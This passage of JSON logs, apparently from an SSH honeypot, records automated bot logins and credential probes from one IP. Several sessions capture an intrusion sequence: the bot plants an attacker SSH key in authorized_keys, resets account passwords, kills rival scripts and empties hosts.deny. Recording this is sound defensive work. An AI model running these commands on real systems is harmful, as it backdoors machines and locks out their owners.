opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"237b36a7-699b-4aec-8fc5-2e313151be27","name":"plucky-velvet-skua","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":42894,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:50:27.419511+00:00","ended_at":"2026-08-27T13:50:29.404123+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"1qaz2wsx2014","method":"password","accepted":false,"tier":"probe"}]} {"id":"512689b9-0866-4622-8b74-f092570cdfcd","name":"faded-nimble-turnstone","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":60362,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":339,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:49:19.683670+00:00","ended_at":"2026-08-27T13:49:21.107205+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2117,"events":[{"seq":1,"at":"2026-08-27T13:49:03.859531+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:49:04.196656+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:49:09.409625+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:49:09.410064+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:49:09.750207+00:00","kind":"input","latency_ms":null,"data":"echo \"root:bTmMCYzUCB6r\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:49:10.086965+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:49:10.423305+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:49:10.423873+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:49:10.760898+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:49:11.281119+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:49:11.619621+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:49:12.178576+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:49:12.642717+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:49:12.645116+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:49:12.977793+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:49:12.978294+00:00","kind":"output","latency_ms":null,"data":" 13:49:12 up 7 days, 10:39, 0 user, load average: 0.33, 0.32, 0.29\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:49:13.314738+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:49:13.315240+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:49:13.776298+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:49:13.778114+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:49:14.115316+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:49:14.841245+00:00","kind":"output","latency_ms":null,"data":"top - 13:49:14 up 7 days, 10:39, 0 user, load average: 0.33, 0.32, 0.29\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:49:15.232731+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:49:16.048546+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:49:16.384635+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:49:16.690270+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:49:17.031856+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:49:17.674335+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:49:18.207591+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:49:19.095185+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:49:19.684415+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:49:20.806392+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"1a2b3c4d","method":"password","accepted":true,"tier":"other"}]} {"id":"5a2ebe85-1245-44a2-9098-d2a7b933437d","name":"graceful-painted-mallard","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":38722,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:49:08.017663+00:00","ended_at":"2026-08-27T13:49:09.308502+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ea818616-d2a8-4cd7-901a-7305a3d3161f","name":"tidal-fickle-flamingo","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":37178,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:49:05.058938+00:00","ended_at":"2026-08-27T13:49:06.283946+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"fd0e2781-f91d-49c5-812e-65104e405e6f","name":"barren-vaulted-cardinal","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":44270,"username":"jason","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":484,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:47:42.693713+00:00","ended_at":"2026-08-27T13:47:43.374431+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2050,"events":[{"seq":1,"at":"2026-08-27T13:47:28.412919+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:47:28.792248+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:47:33.638953+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:47:33.639783+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:47:34.021216+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\nsWE1uXH2myTY\\nsWE1uXH2myTY\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:47:34.398654+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\nsWE1uXH2myTY\\nsWE1uXH2myTY\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:47:34.774607+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:47:34.774948+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:47:35.511488+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:47:36.081879+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:47:36.462716+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:47:37.037047+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:47:37.423134+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:47:37.423803+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:47:37.805221+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:47:37.805741+00:00","kind":"output","latency_ms":null,"data":" 13:47:37 up 7 days, 10:37, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:47:38.620317+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:47:38.620912+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:47:39.226563+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:47:39.228340+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:47:39.819002+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:47:39.820285+00:00","kind":"output","latency_ms":null,"data":"top - 13:47:39 up 7 days, 10:37, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:47:40.302232+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:47:40.302805+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:47:40.786761+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:47:40.787418+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:47:41.164223+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:47:41.164863+00:00","kind":"output","latency_ms":null,"data":"jason"},{"seq":29,"at":"2026-08-27T13:47:41.649920+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:47:42.173833+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:47:42.696010+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:47:43.260047+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"jason","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"8c811e63-4630-436e-a585-f09230d41215","name":"emerald-daring-tern","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":48476,"username":"jason","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:47:31.959720+00:00","ended_at":"2026-08-27T13:47:33.524254+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"jason","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f96f3c37-d009-42e6-8e59-fbc774162407","name":"feathered-tawny-quokka","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":46682,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:47:29.579054+00:00","ended_at":"2026-08-27T13:47:31.200779+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c1d61d73-1b49-4235-b367-8e10e936e78b","name":"fringed-granite-flamingo","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":55924,"username":"sammy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":449,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:46:10.305836+00:00","ended_at":"2026-08-27T13:46:11.078524+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2047,"events":[{"seq":1,"at":"2026-08-27T13:45:55.686267+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:45:56.065118+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:46:00.183882+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:46:00.184209+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:46:00.537306+00:00","kind":"input","latency_ms":null,"data":"echo -e \"sammy123!\\nwFzgZHEKYTak\\nwFzgZHEKYTak\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:46:01.093753+00:00","kind":"input","latency_ms":null,"data":"echo \"sammy123!\\nwFzgZHEKYTak\\nwFzgZHEKYTak\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:46:01.720113+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T13:46:01.825415+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T13:46:01.825964+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T13:46:02.626016+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T13:46:03.353021+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T13:46:03.797756+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T13:46:04.403944+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T13:46:04.955059+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T13:46:04.955579+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T13:46:05.395596+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T13:46:05.396179+00:00","kind":"output","latency_ms":null,"data":" 13:46:05 up 7 days, 10:36, 0 user, load average: 0.28, 0.2, 0.32\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T13:46:05.843449+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T13:46:05.844044+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T13:46:06.417472+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T13:46:06.419336+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T13:46:06.866791+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T13:46:06.867296+00:00","kind":"output","latency_ms":null,"data":"top - 13:46:06 up 7 days, 10:36, 0 user, load average: 0.28, 0.2, 0.32\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T13:46:07.472433+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T13:46:07.472907+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T13:46:07.920035+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T13:46:07.920437+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T13:46:08.368750+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T13:46:08.369418+00:00","kind":"output","latency_ms":null,"data":"sammy"},{"seq":30,"at":"2026-08-27T13:46:08.993561+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T13:46:09.592838+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T13:46:10.306531+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T13:46:10.839756+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"sammy","password":"sammy123!","method":"password","accepted":true,"tier":"other"}]} {"id":"7d61eacf-3d96-430d-9c4c-c22d310e8623","name":"steady-dusty-camel","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":59130,"username":"sammy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:45:59.139886+00:00","ended_at":"2026-08-27T13:46:00.079330+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"sammy","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"dde1600a-ff14-4666-ab36-853efe9c1d17","name":"misty-vivid-sloth","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":57442,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:45:56.890475+00:00","ended_at":"2026-08-27T13:45:58.426043+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a98dcfac-0eb4-4c3e-ab36-64050a63c4a2","name":"earnest-plucky-crossbill","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":46602,"username":"student","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:37:52.676423+00:00","ended_at":"2026-08-27T13:37:54.007717+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"student","password":"student","method":"password","accepted":false,"tier":"other"}]}